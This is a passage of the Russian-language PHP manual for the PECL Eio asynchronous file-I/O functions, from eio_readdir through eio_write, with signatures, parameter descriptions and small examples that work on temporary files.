EIO_DT_MPB (int)
Составное блочное устройство (v7+coherent)
EIO_DT_REG (int)
Тип узла
EIO_DT_NWK (int)
EIO_DT_CMP (int)
Специальный тип узла для сетей HP-UX
EIO_DT_LNK (int)
Тип узла - ссылка
EIO_DT_SOCK (int)
Тип узла - сокет
EIO_DT_DOOR (int)
Тип узла - Solaris door
EIO_DT_WHT (int)
Тип узла
EIO_DT_MAX (int)
Максимальное значение типа узла

Примеры

Пример #1 Пример использования eio_readdir()

<?php
/* Вызывается, когда отработает eio_readdir() */
function my_readdir_callback($data, $result) {
echo "Вызвана функция ", __FUNCTION__, "\n";
echo "данные: "; var_dump($data);
echo "результат: "; var_dump($result);
echo "\n";
}

eio_readdir("/var/spool/news", EIO_READDIR_STAT_ORDER | EIO_READDIR_DIRS_FIRST,
EIO_PRI_DEFAULT, "my_readdir_callback");
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

Вызвана функция my_readdir_callback
данные: NULL
результат: array(2) {
 ["names"]=>
  array(7) {
   [0]=>
    string(7) "archive"
    [1]=>
    string(8) "articles"
    [2]=>
    string(8) "incoming"
    [3]=>
    string(7) "innfeed"
    [4]=>
    string(8) "outgoing"
    [5]=>
    string(8) "overview"
    [6]=>
    string(3) "tmp"
  }
 ["dents"]=>
  array(7) {
   [0]=>
    array(3)
    {
     ["name"]=>
      string(7)
      "archive"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393265)
    }
   [1]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "articles"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393266)
    }
   [2]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "incoming"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393267)
    }
   [3]=>
    array(3)
    {
     ["name"]=>
      string(7)
      "innfeed"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393269)
    }
   [4]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "outgoing"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393270)
    }
   [5]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "overview"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393271)
    }
   [6]=>
    array(3)
    {
     ["name"]=>
      string(3)
      "tmp"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393272)
    }
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Читает значение символической ссылки

  • « eio_readdir
  • eio_realpath »
  • PHP Manual
  • Eio Функции
  • Читает значение символической ссылки

eio_readlink

(PECL eio >= 0.0.1dev)

eio_readlink — Читает значение символической ссылки

Описание

eio_readlink(
string $path,
int $pri,
callable $callback,
mixed $data = NULL
): resource

Список параметров

path

Путь к самой ссылке

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые необходимо передать в функцию callback.

Возвращаемые значения

eio_readlink() возвращает ресурс запроса в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования eio_readlink()

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";
$hardlink = dirname(__FILE__)."/hardlink.link";

function my_hardlink_cb($data, $result) {
global $link, $filename;
var_dump(file_exists($data) && !is_link($data));
@unlink($data);

eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
}

function my_symlink_cb($data, $result) {
global $link, $filename;
var_dump(file_exists($data) && is_link($data));

if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
@unlink($link);
@unlink($filename);
}
}

function my_readlink_cb($data, $result) {
global $filename, $link;
var_dump($result);

@unlink($link);
@unlink($filename);
}

eio_link($filename, $hardlink, EIO_PRI_DEFAULT, "my_hardlink_cb", $hardlink);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
string(16) "/tmp/symlink.dat"

Смотрите также

  • eio_symlink() - Создаёт символическую ссылку

User Contributed Notes

There are no user contributed notes for this page.


Получает абсолютный приведённый к каноническому виду путь

  • « eio_readlink
  • eio_rename »
  • PHP Manual
  • Eio Функции
  • Получает абсолютный приведённый к каноническому виду путь

eio_realpath

(PECL eio >= 0.0.1dev)

eio_realpath — Получает абсолютный приведённый к каноническому виду путь

Описание

eio_realpath(
string $path,
int $pri,
callable $callback,
string $data = NULL
): resource

eio_realpath() возвращает абсолютный путь через аргумент result функции callback.

Список параметров

path

Краткий или относительный путь

pri

callback

data

Возвращаемые значения

Примеры

Пример #1 Пример использования eio_realpath()

<?php
var_dump(getcwd());

function my_realpath_allback($data, $result) {
var_dump($result);
}

eio_realpath("../", EIO_PRI_DEFAULT, "my_realpath_allback");
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

string(12) "/home/ruslan"
string(5) "/home"

User Contributed Notes

There are no user contributed notes for this page.


Изменяет имя или перемещает файл

  • « eio_realpath
  • eio_rmdir »
  • PHP Manual
  • Eio Функции
  • Изменяет имя или перемещает файл

eio_rename

(PECL eio >= 0.0.1dev)

eio_rename — Изменяет имя или перемещает файл

Описание

eio_rename(
string $path,
string $new_path,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_rename() осуществляет перемещение или переименование файла.

Список параметров

path

Исходный путь к файлу

new_path

Конечный путь к файлу при перемещении

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые необходимо передать функции callback.

Возвращаемые значения

eio_rename() возвращает ресурс запроса в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования eio_rename()

<?php
$filename = dirname(__FILE__)."/eio-temp-file.dat";
touch($filename);
$new_filename = dirname(__FILE__)."/eio-temp-file-new.dat";

function my_rename_cb($data, $result) {
global $filename, $new_filename;

if ($result == 0 && !file_exists($filename) && file_exists($new_filename)) {
@unlink($new_filename);
echo "eio_rename_ok";
} else {
@unlink($filename);
}
}

eio_rename($filename, $new_filename, EIO_PRI_DEFAULT, "my_rename_cb", $filename);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

eio_rename_ok

User Contributed Notes

There are no user contributed notes for this page.


Удаляет директорию

  • « eio_rename
  • eio_seek »
  • PHP Manual
  • Eio Функции
  • Удаляет директорию

eio_rmdir

(PECL eio >= 0.0.1dev)

eio_rmdir — Удаляет директорию

Описание

eio_rmdir(
string $path,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_rmdir() удаляет директорию.

Список параметров

path

Путь к директории

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_rmdir() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования eio_rmdir()

<?php
$temp_dirname = "eio-temp-dir";
mkdir($temp_dirname);

function my_rmdir_callback($data, $result) {
if ($result == 0 && !file_exists($data)) {
echo "eio_rmdir_ok";
} else if (file_exists($data)) {
rmdir($data);
}
}

eio_rmdir($temp_dirname, EIO_PRI_DEFAULT, "my_rmdir_callback", $temp_dirname);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

eio_rmdir_ok

Смотрите также

  • eio_mkdir() - Создание директории

User Contributed Notes

There are no user contributed notes for this page.


Перемещает файловый указатель файла fd на число байт offset в соответствии с директивой whence

  • « eio_rmdir
  • eio_sendfile »
  • PHP Manual
  • Eio Функции
  • Перемещает файловый указатель файла fd на число байт offset в соответствии с директивой whence

eio_seek

(PECL eio >= 0.5.0b)

eio_seek — Перемещает файловый указатель файла fd на число байт offset в соответствии с директивой whence

Описание

eio_seek(
mixed $fd,
int $offset,
int $whence,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_seek() изменяет смещение файлового указателя, связанного с потоком, ресурсом сокета или файловым дескриптором fd на значение offset. При этом текущая позиция файлового указателя будет вычисляться в соответствии со значением директивы whence следующим образом:

  • EIO_SEEK_SET - Установка текущей позиции на offset байт от начала файла.
  • EIO_SEEK_CUR - Смещение текущей позиции на offset байт вперёд.
  • EIO_SEEK_END - Установка указателя на позицию конец-файла плюс offset байт.

Список параметров

fd

Поток, ресурс сокета или числовой дескриптор файла

offset

Начальная позиция, с которой будут читаться данные

length

Число байт, которое необходимо прочитать

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые необходимо передать в функцию callback.

Возвращаемые значения

eio_seek() возвращает ресурс запроса в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Перемещает данные между файлами

  • « eio_seek
  • eio_set_max_idle »
  • PHP Manual
  • Eio Функции
  • Перемещает данные между файлами

eio_sendfile

(PECL eio >= 0.0.1dev)

eio_sendfile — Перемещает данные между файлами

Описание

eio_sendfile(
mixed $out_fd,
mixed $in_fd,
int $offset,
int $length,
int $pri = ?,
callable $callback = ?,
string $data = ?
): resource

eio_sendfile() копирует данные из одного файла в другой. Смотрите дополнительно описание SENDFILE(2).

Список параметров

out_fd

Выходной поток, ресурс сокета или дескриптор целевого файла. Должен быть открыт для записи.

in_fd

Входной поток, ресурс сокета или дескриптор файла-источника. Должен быть открыт для чтения.

offset

Смещение в файле-источнике.

length

Количество байт, которое необходимо скопировать.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые необходимо передать в функцию callback.

Возвращаемые значения

eio_sendfile() возвращает ресурс запроса в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальное количество ожидающих потоков

  • « eio_sendfile
  • eio_set_max_parallel »
  • PHP Manual
  • Eio Функции
  • Устанавливает максимальное количество ожидающих потоков

eio_set_max_idle

(PECL eio >= 0.0.1dev)

eio_set_max_idle — Устанавливает максимальное количество ожидающих потоков

Описание

eio_set_max_idle(int $nthreads): void

Список параметров

nthreads

Количество простаивающих потоков.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • eio_nthreads() - Возвращает количество используемых в данный момент потоков
  • eio_set_min_parallel() - Устанавливает минимальное количество параллельных потоков
  • eio_set_max_parallel() - Устанавливает максимальное количество параллельных потоков

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальное количество параллельных потоков

  • « eio_set_max_idle
  • eio_set_max_poll_reqs »
  • PHP Manual
  • Eio Функции
  • Устанавливает максимальное количество параллельных потоков

eio_set_max_parallel

(PECL eio >= 0.0.1dev)

eio_set_max_parallel — Устанавливает максимальное количество параллельных потоков

Описание

eio_set_max_parallel(int $nthreads): void

Список параметров

nthreads

Количество параллельных потоков

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • eio_nthreads() - Возвращает количество используемых в данный момент потоков
  • eio_set_max_idle() - Устанавливает максимальное количество ожидающих потоков
  • eio_set_min_parallel() - Устанавливает минимальное количество параллельных потоков

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальное количество обрабатываемых запросов

  • « eio_set_max_parallel
  • eio_set_max_poll_time »
  • PHP Manual
  • Eio Функции
  • Устанавливает максимальное количество обрабатываемых запросов

eio_set_max_poll_reqs

(PECL eio >= 0.0.1dev)

eio_set_max_poll_reqs — Устанавливает максимальное количество обрабатываемых запросов

Описание

eio_set_max_poll_reqs(int $nreqs): void

Список параметров

nreqs

Количество запросов

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальное время выполнения

  • « eio_set_max_poll_reqs
  • eio_set_min_parallel »
  • PHP Manual
  • Eio Функции
  • Устанавливает максимальное время выполнения

eio_set_max_poll_time

(PECL eio >= 0.0.1dev)

eio_set_max_poll_time — Устанавливает максимальное время выполнения

Описание

eio_set_max_poll_time(float $nseconds): void

Выполнение запросов останавливается, если время выполнения превышает nseconds секунд.

Список параметров

nseconds

Количество секунд

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает минимальное количество параллельных потоков

  • « eio_set_max_poll_time
  • eio_stat »
  • PHP Manual
  • Eio Функции
  • Устанавливает минимальное количество параллельных потоков

eio_set_min_parallel

(PECL eio >= 0.0.1dev)

eio_set_min_parallel — Устанавливает минимальное количество параллельных потоков

Описание

eio_set_min_parallel(string $nthreads): void

Список параметров

nthreads

Количество параллельных потоков.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • eio_nthreads() - Возвращает количество используемых в данный момент потоков
  • eio_set_max_idle() - Устанавливает максимальное количество ожидающих потоков
  • eio_set_max_parallel() - Устанавливает максимальное количество параллельных потоков

User Contributed Notes

There are no user contributed notes for this page.


Возвращает статус файла

  • « eio_set_min_parallel
  • eio_statvfs »
  • PHP Manual
  • Eio Функции
  • Возвращает статус файла

eio_stat

(PECL eio >= 0.0.1dev)

eio_stat — Возвращает статус файла

Описание

eio_stat(
string $path,
int $pri,
callable $callback,
mixed $data = NULL
): resource

eio_stat() возвращает информацию о состоянии файла в result аргументе функции callback

Список параметров

path

Путь к файлу

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_stat() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки. В случае успешного выполнения параметр result функции callback является массивом.

Примеры

Пример #1 Пример использования eio_stat()

<?php
$tmp_filename = "eio-file.tmp";
touch($tmp_filename);

function my_res_cb($data, $result) {
var_dump($data);
var_dump($result);
}

function my_open_cb($data, $result) {
eio_close($result);
eio_event_loop();

@unlink($data);
}

eio_stat($tmp_filename, EIO_PRI_DEFAULT, "my_res_cb", "eio_stat");
eio_open($tmp_filename, EIO_O_RDONLY, NULL,
EIO_PRI_DEFAULT, "my_open_cb", $tmp_filename);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

string(8) "eio_stat"
array(12) {
  ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2489173)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318250380)
  ["st_mtime"]=>
  int(1318250380)
  ["st_ctime"]=>
  int(1318250380)
}

Смотрите также

  • eio_lstat() - Возвращает статус файла
  • eio_fstat() - Возвращает статус файла

User Contributed Notes

There are no user contributed notes for this page.


Возвращает статистику файловой системы

  • « eio_stat
  • eio_symlink »
  • PHP Manual
  • Eio Функции
  • Возвращает статистику файловой системы

eio_statvfs

(PECL eio >= 0.0.1dev)

eio_statvfs — Возвращает статистику файловой системы

Описание

eio_statvfs(
string $path,
int $pri,
callable $callback,
mixed $data = ?
): resource

eio_statvfs() возвращает статистику файловой системы в параметр result функции callback.

Список параметров

path

Имя любого файла в примонтированной файловой системе.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_stat() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки. В случае успешного выполнения параметр result функции callback является массивом.

Примеры

Пример #1 Пример использования eio_statvfs()

<?php
$tmp_filename = '/tmp/eio-file.tmp';
touch($tmp_filename);

function my_statvfs_callback($data, $result) {
var_dump($data);
var_dump($result);

@unlink($data);
}

eio_statvfs($tmp_filename, EIO_PRI_DEFAULT, "my_statvfs_callback", $tmp_filename);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

string(17) "/tmp/eio-file.tmp"
array(11) {
  ["f_bsize"]=>
  int(4096)
  ["f_frsize"]=>
  int(4096)
  ["f_blocks"]=>
  int(262144)
  ["f_bfree"]=>
  int(262111)
  ["f_bavail"]=>
  int(262111)
  ["f_files"]=>
  int(1540815)
  ["f_ffree"]=>
  int(1540743)
  ["f_favail"]=>
  int(1540743)
  ["f_fsid"]=>
  int(0)
  ["f_flag"]=>
  int(4102)
  ["f_namemax"]=>
  int(255)
}

User Contributed Notes

There are no user contributed notes for this page.


Создаёт символическую ссылку

  • « eio_statvfs
  • eio_sync_file_range »
  • PHP Manual
  • Eio Функции
  • Создаёт символическую ссылку

eio_symlink

(PECL eio >= 0.0.1dev)

eio_symlink — Создаёт символическую ссылку

Описание

eio_symlink(
string $path,
string $new_path,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_symlink() создаёт символическую ссылку new_path на путь path.

Список параметров

path

Путь-источник

new_path

Целевой путь

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые необходимо передать функции callback.

Возвращаемые значения

eio_symlink() возвращает ресурс запроса в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования eio_symlink()

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";

function my_symlink_cb($data, $result) {
global $link, $filename;
var_dump(file_exists($data) && is_link($data));

if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
@unlink($link);
@unlink($filename);
}
}

function my_readlink_cb($data, $result) {
global $filename, $link;
var_dump($result);

@unlink($link);
@unlink($filename);
}

eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
string(16) "/tmp/symlink.dat"

Смотрите также

  • eio_link() - Создаёт жёсткую ссылку на файл

User Contributed Notes

There are no user contributed notes for this page.


Синхронизирует сегмент файла с данными файла на внешнем хранилище

  • « eio_symlink
  • eio_sync »
  • PHP Manual
  • Eio Функции
  • Синхронизирует сегмент файла с данными файла на внешнем хранилище

eio_sync_file_range

(PECL eio >= 0.0.1dev)

eio_sync_file_range — Синхронизирует сегмент файла с данными файла на внешнем хранилище

Описание

eio_sync_file_range(
mixed $fd,
int $offset,
int $nbytes,
int $flags,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_sync_file_range() осуществляет необходимые проверки и действия при синхронизации открытого файла fd с дисковой подсистемой.

Список параметров

fd

Файловый описатель

offset

Начальная позиция, с которой будет проводиться синхронизация

nbytes

Задаёт длину сегмента файла в байтах, которую необходимо синхронизировать. Если nbytes равно нулю, будут синхронизированы все данные от offset до конца файла.

flags

Битовая маска. Может включать комбинацию из следующих значений: EIO_SYNC_FILE_RANGE_WAIT_BEFORE, EIO_SYNC_FILE_RANGE_WRITE, EIO_SYNC_FILE_RANGE_WAIT_AFTER. Эти флаги имеют то же предназначение, что и аналогичные SYNC_FILE_RANGE_* константы (смотрите страницу руководства SYNC_FILE_RANGE(2)).

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые необходимо передать функции callback.

Возвращаемые значения

eio_sync_file_range() возвращает ресурс запроса в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Записывает кеш из буфера на диск

  • « eio_sync_file_range
  • eio_syncfs »
  • PHP Manual
  • Eio Функции
  • Записывает кеш из буфера на диск

eio_sync

(PECL eio >= 0.0.1dev)

eio_sync — Записывает кеш из буфера на диск

Описание

eio_sync(int $pri = EIO_PRI_DEFAULT, callable $callback = NULL, mixed $data = NULL): resource

Список параметров

У этой функции нет параметров.

Возвращаемые значения

eio_sync() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вызывает системный syncfs в Linux, если это доступно

  • « eio_sync
  • eio_truncate »
  • PHP Manual
  • Eio Функции
  • Вызывает системный syncfs в Linux, если это доступно

eio_syncfs

(PECL eio >= 0.0.1dev)

eio_syncfs — Вызывает системный syncfs в Linux, если это доступно

Описание

eio_syncfs(
mixed $fd,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

Список параметров

fd

Дескриптор файла

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_syncfs() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Урезает размер файла

  • « eio_syncfs
  • eio_unlink »
  • PHP Manual
  • Eio Функции
  • Урезает размер файла

eio_truncate

(PECL eio >= 0.0.1dev)

eio_truncate — Урезает размер файла

Описание

eio_truncate(
string $path,
int $offset = 0,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_truncate() урезает файл, дескриптор которого указан в параметре fd точно до length байт.

Список параметров

path

Путь к файлу

offset

Смещение от начала файла

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_busy() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_ftruncate() - Урезает размер файла

User Contributed Notes

There are no user contributed notes for this page.


Удаляет файл или одну из жёстких ссылок на него

  • « eio_truncate
  • eio_utime »
  • PHP Manual
  • Eio Функции
  • Удаляет файл или одну из жёстких ссылок на него

eio_unlink

(PECL eio >= 0.0.1dev)

eio_unlink — Удаляет файл или одну из жёстких ссылок на него

Описание

eio_unlink(
string $path,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_unlink() удаляет имя из файловой системы.

Список параметров

path

Путь к файлу

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_unlink() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Изменяет дату и время последней модификации и доступа к файлу

  • « eio_unlink
  • eio_write »
  • PHP Manual
  • Eio Функции
  • Изменяет дату и время последней модификации и доступа к файлу

eio_utime

(PECL eio >= 0.0.1dev)

eio_utime — Изменяет дату и время последней модификации и доступа к файлу

Описание

eio_utime(
string $path,
float $atime,
float $mtime,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

Список параметров

path

Путь к файлу.

atime

Время последнего доступа

mtime

Время последнего изменения

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_utime() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_futime() - Изменяет дату и время последней модификации и доступа к файлу

User Contributed Notes

There are no user contributed notes for this page.


Запись в файл

  • « eio_utime
  • Ev »
  • PHP Manual
  • Eio Функции
  • Запись в файл

eio_write

(PECL eio >= 0.0.1dev)

eio_write — Запись в файл

Описание

eio_write(
mixed $fd,
string $str,
int $length = 0,
int $offset = 0,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_write() записывает до length байт из str в файл, начиная с позиции offset байт от начала файла.

Список параметров

fd

Поток, ресурс сокета или числовой файловый дескриптор, например, полученный из eio_open().

str

Записываемая строка

length

Максимальное количество записываемых байт.

offset

Смещение от начала файла.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Данные, которые требуется передать в функцию callback.

Возвращаемые значения

eio_write() возвращает ресурс запроса в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_open() - Открывает файл

User Contributed Notes

There are no user contributed notes for this page.


